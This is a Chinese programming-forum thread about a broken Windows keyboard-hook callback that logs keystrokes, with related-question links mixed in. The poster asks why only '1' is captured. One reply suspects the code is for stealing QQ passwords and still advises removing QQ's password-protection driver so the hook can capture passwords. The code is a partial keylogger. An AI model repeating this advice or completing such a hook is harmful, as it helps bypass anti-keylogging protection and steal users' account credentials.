代码是下面的.怎么输出是1啊 真郁闷.是不是HOOK函数别截获了
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if(psize%2==0)
{
pmsg[psize].wParam =wParam;
psize++;
}
// 捕获热键消息
if (wParam == VK_RETURN )
{
//MessageBox(NULL,"Keyboard","郁闷",0);
Getword();
} return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}Getword()
{
for(j=0;j<psize;j++)
{
psw[j]=(char)pmsg[j].wParam ;
}
psw[j+1]='\0 ';
MessageBox(NULL,psw,"hello",0);
}
解决方案 »
- 如何利用 GetOpenFileName 只打开一个窗口
- 串口正在通信的时候,如何改变串口设置?
- 图片不显示???
- 什么模块或功能应该考虑做成com/com+组件?什么又可以只考虑做成dll?
- 我是电子系的,现在人学WIN编程
- 生成的DLL不能注册
- 推荐几本可以买的到的关于Windows shell的书
- 关于文字存储的问题!!!
- WinAPI开发下,在改变窗体大小时如何避免窗体严重闪烁?
- CListCtrl的ITEM的顺序号是0,1,2,3,4,5,6, 当我删除4后,这个顺序号又是怎幺样的?
- 大家在看《Programming Windows程式开发设计指南》的时候遇到过程序调试不出的问题吗?
- 大家请救命! 我的.c文件突然变成二进制文件了
if(psize%2==0)
{
pmsg[psize].wParam =wParam;
psize++;
}
获得不了WPARAM wParam
你是在写盗QQ号的软件吧 在nprotect你用简单的钩子是没有办法得到密码的
得到的应该全部都是1111111111111111
真想不明白 你怎么想盗QQ呢 ?
不过还是告诉你
你可以直接删除QQ的密码保护驱动 就可以了 钩子就可以得到密码了~
来分吧
大家都不厚道啊。
用AfxMessageBox来显示键盘码却发现能正常得到,但要保存到文件之类的,却不行